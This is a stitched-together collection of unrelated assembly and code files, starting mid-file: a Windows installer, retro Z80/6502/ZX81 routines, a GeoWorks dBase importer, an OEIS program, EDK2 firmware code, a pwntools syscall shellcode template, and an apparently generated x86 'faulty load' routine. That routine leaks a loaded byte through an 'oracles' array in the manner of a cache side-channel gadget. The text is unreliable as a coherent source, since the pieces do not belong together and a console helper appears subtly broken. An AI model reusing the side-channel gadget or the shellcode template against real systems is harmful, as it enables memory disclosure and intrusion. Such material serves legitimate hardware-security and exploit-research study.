SetWindowPos,hWnd,NULL,w_rect.x,w_rect.y,w_rect.w,w_rect.h,SWP_NOMOVE ; .elseif eax==WM_GETDPISCALEDSIZE ; invoke _SetFactor ; invoke SetWindowPos,hWnd,NULL,w_rect.x,w_rect.y,w_rect.w,w_rect.h,SWP_NOMOVE .elseif eax==WM_TIMER .if dataindex invoke processed,0 .endif invoke _Frame,hWnd .elseif eax==WM_SHOWWINDOW .elseif eax==WM_SETCURSOR invoke _SetCursor .elseif eax== WM_PAINT ; mov eax,hWnd ; .if eax==hWinMain ; mov eax,0 ; ret ; .endif invoke BeginPaint,hWnd,addr @stPs invoke EndPaint,hWnd,addr @stPs .elseif eax==WM_CLOSE call issetting .if eax ret .endif invoke DestroyWindow,hWnd invoke PostQuitMessage,NULL invoke KillTimer,hWnd,1 .else invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .endif ret _ProcWinMain endp _WinMain proc local @stWndClass:WNDCLASSEX local @stMsg:MSG,hWnd invoke GetModuleHandle,NULL mov hInstance,eax ; ; mov @stWndClass.cbSize,sizeof WNDCLASSEX mov @stWndClass.style, CS_BYTEALIGNWINDOW mov @stWndClass.lpfnWndProc,offset _ProcWinMain mov @stWndClass.cbClsExtra,NULL mov @stWndClass.cbWndExtra,NULL push hInstance pop @stWndClass.hInstance mov @stWndClass.hbrBackground,COLOR_BACKGROUND mov @stWndClass.lpszMenuName,NULL mov @stWndClass.lpszClassName,offset szClassName invoke LoadIcon,hInstance,1000h mov @stWndClass.hIcon,eax invoke LoadCursor,NULL,IDC_HAND mov m_hand,eax invoke LoadCursor,NULL,IDC_ARROW mov m_arrow,eax mov @stWndClass.hCursor,eax mov @stWndClass.hIconSm,0 invoke RegisterClassEx,addr @stWndClass invoke CreateWindowEx,0,\ offset szClassName,offset szCaptionMain,\ WS_POPUP,\ w_rect.x,w_rect.y,w_rect.w,w_rect.h,\ NULL,NULL,hInstance,NULL mov hWnd,eax mov hWinMain,eax invoke ShowWindow,eax,SW_SHOWNORMAL invoke _Frame,hWnd invoke UpdateWindow,hWnd .while TRUE invoke GetMessage,addr @stMsg,NULL,0,0 .break .if eax ==0 invoke TranslateMessage,addr @stMsg invoke DispatchMessage,addr @stMsg .endw mov eax,@stMsg.wParam ret _WinMain endp removeall proc local info:SHELLEXECUTEINFO local param[MAX_PATH]:WORD local direc[MAX_PATH]:WORD invoke lstrcpy,addr param,addr uninstallParam invoke foldersize,addr param mov ebx,eax lea eax,param add eax,ebx sub eax,2 mov WORD ptr[eax],'"' invoke lstrcat,addr param,addr folder invoke foldersize,addr param mov ebx,eax lea eax,param add eax,ebx mov WORD ptr[eax],'"' mov WORD ptr[eax+2],0 invoke folderpath,addr folder,sizeof folder,addr direc mov info.cbSize , sizeof info; mov info.fMask , SEE_MASK_NOCLOSEPROCESS; mov info.hwnd , NULL; mov info.lpVerb , NULL; mov info.lpFile , offset uninstall ; lea eax,param mov info.lpParameters , eax; lea eax,direc mov info.lpDirectory , eax; mov info.nShow , SW_HIDE; mov info.hInstApp , NULL; invoke ShellExecuteEx,addr info ret removeall endp start: invoke _ChangeLine,addr logodots,sizeof logodots,logo_c invoke _ChangeLine,addr closeline,sizeof closeline,close_c invoke _ChangeLine,addr crossline,sizeof crossline,cross_c invoke _Brizerline invoke _SetFactor ;invoke GetEnvironmentVariable,offset program,offset buffer2,MAX_PATH invoke SHGetSpecialFolderPath,NULL,offset buffer2,CSIDL_PROGRAM_FILES,FALSE invoke parseCommandLine invoke programinit invoke folderinit .if hiddensetup invoke _Extract,NULL .else invoke GdiplusStartup,offset gptoken,offset gpstart,NULL call _WinMain invoke _DeleteShapes invoke GdiplusShutdown,gptoken .endif .if filecount .if isuninstall invoke removeall .endif .endif invoke ExitProcess,NULL end start
; ; Fast background save ; ; PC6001 version ; ; ; $Id: bksave.asm,v 1.2 2015/01/19 01:32:51 pauloscustodio Exp $ ; PUBLIC bksave EXTERN pixeladdress .bksave ld hl,2 add hl,sp ld e,(hl) inc hl ld d,(hl) ;sprite address push de pop ix inc hl ld e,(hl) inc hl inc hl ld d,(hl) ; x and y coords ld h,d ld l,e call pixeladdress xor 7 ld h,d ld l,e ld (ix+2),h ; we save the current sprite position ld (ix+3),l ld a,(ix+0) ld b,(ix+1) cp 9 jr nc,bksavew ._sloop push bc push hl ld a,(hl) and @10101010 ld (ix+4),a inc hl ld a,(hl) rra and @01010101 or (ix+4) ld (ix+4),a inc hl ld a,(hl) and @10101010 ld (ix+5),a inc hl ld a,(hl) rra and @01010101 or (ix+5) ld (ix+5),a inc hl inc ix inc ix pop hl ld bc,32 ;Go to next line add hl,bc pop bc djnz _sloop ret .bksavew push bc push hl ld a,(hl) and @10101010 ld (ix+4),a inc hl ld a,(hl) rra and @01010101 or (ix+4) ld (ix+4),a inc hl ld a,(hl) and @10101010 ld (ix+5),a inc hl ld a,(hl) rra and @01010101 or (ix+5) ld (ix+5),a inc hl ld a,(hl) and @10101010 ld (ix+6),a inc hl ld a,(hl) rra and @01010101 or (ix+6) ld (ix+6),a inc ix inc ix inc ix pop hl ld bc,32 ;Go to next line add hl,bc pop bc djnz bksavew ret
lda {m2} sta {m1}+2 lda {m2}+1 sta {m1}+3 lda #{c1} sta {m1} lda #0 sta {m1}+1
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0x13bb0, %rbp xor %r9, %r9 movw $0x6162, (%rbp) nop inc %rax lea addresses_WT_ht+0x6ab0, %r9 nop nop nop nop nop sub %r12, %r12 movw $0x6162, (%r9) nop nop and %r9, %r9 lea addresses_UC_ht+0x12230, %r9 nop nop nop cmp $97, %rcx and $0xffffffffffffffc0, %r9 movntdqa (%r9), %xmm6 vpextrq $1, %xmm6, %rax nop nop nop nop dec %r9 lea addresses_UC_ht+0x6514, %rbp nop nop nop nop dec %rax and $0xffffffffffffffc0, %rbp vmovntdqa (%rbp), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %r9 nop dec %r9 lea addresses_normal_ht+0x112b8, %r11 cmp %r12, %r12 movl $0x61626364, (%r11) sub %r9, %r9 lea addresses_normal_ht+0x1e370, %rdi clflush (%rdi) xor $58822, %r11 mov $0x6162636465666768, %r12 movq %r12, (%rdi) nop nop nop inc %rax lea addresses_UC_ht+0x19ab0, %rsi lea addresses_A_ht+0xf478, %rdi nop nop nop cmp %r11, %r11 mov $69, %rcx rep movsb nop nop nop nop dec %rbp lea addresses_WT_ht+0x105d0, %rsi nop nop nop nop xor $51936, %rdi mov $0x6162636465666768, %r12 movq %r12, %xmm4 vmovups %ymm4, (%rsi) nop nop add $6120, %rcx lea addresses_WT_ht+0x9b20, %rbp nop nop nop nop nop add %rdi, %rdi movw $0x6162, (%rbp) cmp $27922, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r8 push %rax push %rbp push %rdi push %rdx // Store lea addresses_A+0xa710, %r15 nop nop xor %rdi, %rdi movw $0x5152, (%r15) cmp $41566, %rdx // Store mov $0x27f2c00000001b0, %rdx nop nop nop nop nop add $54667, %r12 mov $0x5152535455565758, %rax movq %rax, %xmm2 vmovups %ymm2, (%rdx) nop nop nop cmp %rbp, %rbp // Faulty Load lea addresses_WC+0x1cab0, %rdi nop nop nop nop dec %r8 movb (%rdi), %al lea oracles, %r8 and $0xff, %rax shlq $12, %rax mov (%r8,%rax,1), %rax pop %rdx pop %rdi pop %rbp pop %rax pop %r8 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 8}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': True, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: dBase III MODULE: Lib FILE: libMain.asm AUTHOR: Ted Kim, September 14, 1992 ROUTINES: Name Description ---- ----------- GLB TransGetExportOptions Return the handle of map list data block GLB TransGetImportOptions Return the handle of map list data block GLB ImportGetFileInfo Get number of fields from the source file INT SendNotificationDataBlock Send notification data block to impex INT CreateDataBlock Create a new notification data block REVISION HISTORY: Name Date Description ---- ---- ----------- ted 9/92 Initial revision DESCRIPTION: This is the main assembly file for the library module of the dBase III translation library. $Id: libMain.asm,v 1.1 97/04/07 11:43:06 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TransCommonCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TransGetExportOptions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the handle of the block containing export options CALLED BY: GLOBAL PASS: dx - handle of object block holding UI gadgetry (zero if default options are desired) RETURN: dx - handle of map list data block DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ted 6/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TransGetExportOptions proc far uses ax, bx, ds, si, di .enter tst dx ; no object block? je exit ; exit if none mov ax, MSG_IMC_MAP_GET_MAP_DATA mov bx, dx ; bx - block of UI mov si, offset ExportOptions ; bx:si - OD of Map Controller mov di, mask MF_CALL call ObjMessage ; returns map block in dx exit: .leave ret TransGetExportOptions endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TransGetImportOptions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the handle of the block containing import options CALLED BY: GLOBAL PASS: dx - handle of object block holding UI gadgetry RETURN: dx - handle of map list data block DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- ted 6/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TransGetImportOptions proc far .enter tst dx ; no object block? je exit ; exit if none mov ax, MSG_IMC_MAP_GET_MAP_DATA mov bx, dx ; bx - block of UI mov si, offset ImportOptions ; bx:si - OD of Map Controller mov di, mask MF_CALL call ObjMessage ; returns map block in dx exit: .leave ret TransGetImportOptions endp TransCommonCode ends Import segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ImportGetFileInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get number of fields in a record from the selected file. CALLED BY: MSG_IMPORT_EXPORT_FILE_SELECTION_INFO (Subclss of GenControl) PASS: DX:BP = ImpexFileSelectionData RETURN: nothing DESTROYED: ax, bx, cx, dx, KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ted 6/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ImportGetFileInfo method ImpexMappingControlClass, MSG_IMPORT_EXPORT_FILE_SELECTION_INFO uses ds, si, di .enter mov ds, dx ; ds:bp-ImpexFileSelectionData mov ax, ds:[bp].IFSD_type ; ax - selection type and ax, mask GFSEF_TYPE cmp ax, GFSET_FILE shl offset GFSEF_TYPE ; is this a file? jne exit ; if not, just exit call FILEPUSHDIR ; save current dir. path mov bx, ds:[bp].IFSD_disk ; bx - disk handle mov dx, bp add dx, offset IFSD_path ; ds:dx - path name call FileSetCurrentPath ; set the path jc quit ; exit if error mov al, FILE_ACCESS_R or FILE_DENY_W ; FileAccessFlags mov dx, bp add dx, offset IFSD_selection ; ds:dx - file name call FileOpen ; open this file jc quit ; exit if error mov bx, ax ; bx - file handle push bx ; save the file handle clr cx ; initialize '"' counter clr dx ; initialize field counter call InputCacheAttach ; set it up for reading jc error ; exit if error call InputCacheGetChar ; al - version number jc error ; exit if error cmp al, DBASE3_NO_MEMO je okay cmp al, DBASE3_MEMO jne destroy okay: ; Create a data block to send to the GCN list call InputCacheUnGetChar push bx call CreateDataBlock jc skip ; skip if there was an error mov ax, 1 call MemInitRefCount ; initialize the reference count to one call SendNotificationDataBlock ; send data block to GCN list skip: pop bx destroy: call InputCacheDestroy ; destroy cache block error: pop bx ; bx - file handle call FileClose ; close this file quit: call FILEPOPDIR ; restore the dir. path exit: .leave ret ImportGetFileInfo endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SendNotificationDataBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Send the notification data block to the Impex Map Controller. CALLED BY: ImportGetFileInfo PASS: bx - handle of notification data block RETURN: nothing DESTROYED: ax, bx, cx, dx, di, bp KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ted 6/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SendNotificationDataBlock proc near ; Create the classed event mov ax, MSG_META_NOTIFY_WITH_DATA_BLOCK mov cx, MANUFACTURER_ID_GEOWORKS ; cx:dx - notification type mov dx, GWNT_MAP_LIBRARY_CHANGE mov bp, bx ; bp - handle of data block mov di, mask MF_RECORD call ObjMessage ; event handle => DI ; Setup the GCNListMessageParams mov dx, size GCNListMessageParams sub sp, dx mov bp, sp ; GCNListMessageParams => SS:BP mov ss:[bp].GCNLMP_ID.GCNLT_manuf, MANUFACTURER_ID_GEOWORKS mov ss:[bp].GCNLMP_ID.GCNLT_type, \ GAGCNLT_APP_TARGET_NOTIFY_LIBRARY_CHANGE mov ss:[bp].GCNLMP_block, bx ; bx - data block mov ss:[bp].GCNLMP_event, di ; di - event handle mov ss:[bp].GCNLMP_flags, mask GCNLSF_SET_STATUS mov ax, MSG_GEN_PROCESS_SEND_TO_APP_GCN_LIST call GeodeGetProcessHandle mov di, mask MF_STACK call ObjMessage add sp, dx ; clean up the stack ret SendNotificationDataBlock endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CreateDataBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create a new notification data block to be sent to impex. CALLED BY: ImportGetFileInfo PASS: bx - handle of cache block RETURN: bx - handle of a new notification data block carry set if there was an error DESTROYED: ax, cx, dx, di KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ted 6/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CreateDataBlock proc near uses ds cacheBlock local word dataBlock local word numFields local word .enter ; skip the 1st 32 bytes of dBase III header clr numFields mov cacheBlock, bx mov cx, size DBaseHeader ; cx - # of bytes to skip nextChar: call InputCacheGetChar LONG jc exit ; exit if file error loop nextChar ; create a data block and mark it as lmem block mov ax, LMEM_TYPE_GENERAL ; ax - LMemType mov cx, size ImpexMapFileInfoHeader ; cx - size of header call MemAllocLMem ; allocate a data block mov dataBlock, bx ; save the handle mov ah, 0 mov al, mask HF_SHARABLE call MemModifyFlags ; mark this block shareable call MemLock ; lock this block mov ds, ax clr di ; ds:di - LMem header ; create a new chunk array to store field names mov bx, FIELD_NAME_SIZE+1 ; bx - element size clr cx ; use default ChunkArrayHeader clr si ; allocate a chunk handle clr al ; no ObjChunkFlags passed call ChunkArrayCreate mov ds:[di].IMFIH_fieldChunk, si ; save chunk handle ; check to see if there are any more field descriptors mov bx, cacheBlock nextField: call InputCacheGetChar jc exit ; exit if file error cmp al, CR ; if none, done je done call InputCacheUnGetChar call ChunkArrayAppend ; ds:di - ptr to new element ; copy the field name to the chunk array mov cx, FIELD_NAME_SIZE ; cx - element size next2: call InputCacheGetChar jc exit ; exit if file error mov ds:[di], al inc di loop next2 ; make sure we null terminate the string tst al je zero mov byte ptr ds:[di], 0 zero: ; skip to the end of field descriptor mov cx, size FieldDescriptor sub cx, FIELD_NAME_SIZE next3: call InputCacheGetChar jc exit ; exit if file error loop next3 inc numFields ; increment the field counter jmp nextField ; read in the next field name done: clr di mov ax, numFields mov ds:[di].IMFIH_numFields, ax ; save away number of fields mov bx, dataBlock call MemUnlock ; unlock LMem block clc ; return with no error exit: .leave ret CreateDataBlock endp Import ends
; A068720: Arithmetic derivative of squares: a(n) = 2*n*A003415(n). ; 0,4,6,32,10,60,14,192,108,140,22,384,26,252,240,1024,34,756,38,960,420,572,46,2112,500,780,1458,1792,58,1860,62,5120,924,1292,840,4320,74,1596,1248,5440,82,3444,86,4224,3510,2300,94,10752,1372,4500,2040,5824,106,8748,1760,10304,2508,3596,118,11040,122,4092,6426,24576,2340,8052,134,9792,3588,8260,142,22464,146,5772,8250,12160,2772,11076,158,28160,17496,7052,166,20832,3740,7740,5568,24640,178,22140,3640,17664,6324,9212,4560,52224,194,15092,14850,28000,202,18564,206,34112,14910,11660,214,46656,218,19140,8880,53760,226,23028,6440,27840,20358,14396,5712,58560,5324,15372,10824,31744,18750,41580,254,114688,11868,26260,262,49632,6916,18492,43740,57664,274,33396,278,52640,14100,20732,6864,110592,9860,21900,26754,44992,298,55500,302,71744,33966,34804,11160,68640,314,25596,17808,138240,9660,96228,326,55104,33990,28220,334,111552,8788,43860,42066,60544,346,52548,33250,129536,21948,32396,358,120960,362,47684,23424,104512,15540,59892,10472,72192,81648,54340,382,245760,386,38412,46410,98784,394,98604,398,152000,28140,41612,14616,115872,18860,43260,60858,179712,12540,103740,422,91584,31524,46652,20640,233280,16492,48396,33288,124960,13260,84804,446,265216,108000,51980,454,144096,458,78660,60522,165184,466,136188,24440,113280,38868,79492,478,291840,482,79860,196830,121024,58310,103812,15808,188480,42828,137500 add $0,1 pow $0,2 cal $0,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m). mov $1,$0 div $1,2 mul $1,2
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft %> <%docstring>symlinkat(from, tofd, to) -> str Invokes the syscall symlinkat. See 'man 2 symlinkat' for more information. Arguments: from(char*): from tofd(int): tofd to(char*): to Returns: int </%docstring> <%page args="from=0, tofd=0, to=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = ['from', 'to'] can_pushstr_array = [] argument_names = ['from', 'tofd', 'to'] argument_values = [from, tofd, to] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%r' % (name, arg)) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, str): string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_symlinkat']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* symlinkat(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=('\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
; ; ZX 81 specific routines ; by Stefano Bodrato, Oct 2007 ; ; This routine gives the length of the current BASIC program. ; Memory used by variables is not included. ; ; $Id: zx_basic_length.asm,v 1.3 2015/08/11 07:16:35 stefano Exp $ ; PUBLIC zx_basic_length zx_basic_length: IF FORlambda ld de,$4396 ; location of BASIC program (just after system variables) ld hl,($4010) ; VARS ELSE ld de,$407D ; location of BASIC program (just after system variables) ld hl,($400C) ; Display file is end of program ENDIF sbc hl,de ret
;; @file ; This is the assembly code for transferring to control to OS S3 waking vector ; for IA32 platform ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ;; SECTION .text global ASM_PFX(AsmFixAddress16) global ASM_PFX(AsmJmpAddr32) ;----------------------------------------- ;VOID ;AsmTransferControl ( ; IN UINT32 S3WakingVector, ; IN UINT32 AcpiLowMemoryBase ; ); ;----------------------------------------- global ASM_PFX(AsmTransferControl) ASM_PFX(AsmTransferControl): ; S3WakingVector :DWORD ; AcpiLowMemoryBase :DWORD push ebp mov ebp, esp lea eax, [.0] push 0x28 ; CS push eax mov ecx, [ebp + 8] shrd ebx, ecx, 20 and ecx, 0xf mov bx, cx mov [@jmp_addr + 1], ebx retf BITS 16 .0: mov ax, 0x30 o32 mov ds, eax o32 mov es, eax o32 mov fs, eax o32 mov gs, eax o32 mov ss, eax mov eax, cr0 ; Get control register 0 and eax, 0x0fffffffe ; Clear PE bit (bit #0) mov cr0, eax ; Activate real mode @jmp_addr: jmp 0x0:0x0 global ASM_PFX(AsmTransferControl32) ASM_PFX(AsmTransferControl32): jmp ASM_PFX(AsmTransferControl) ; dummy global ASM_PFX(AsmTransferControl16) ASM_PFX(AsmTransferControl16): ASM_PFX(AsmFixAddress16): DD 0 ASM_PFX(AsmJmpAddr32): DD 0
%ifndef READ_CONSOLE_LINE %define READ_CONSOLE_LINE %ifndef _READCONSOLELINE extern _GetCommandLineA@16 %endif ;0 args ;returns pointer to commandline string ;example call readConsoleLine readConsoleLine: pop dword [std_addr] ;this is apparently the address, so let's just save it and push it back later :) call _GetCommandLineA@16 push dword [std_addr] ret %endif
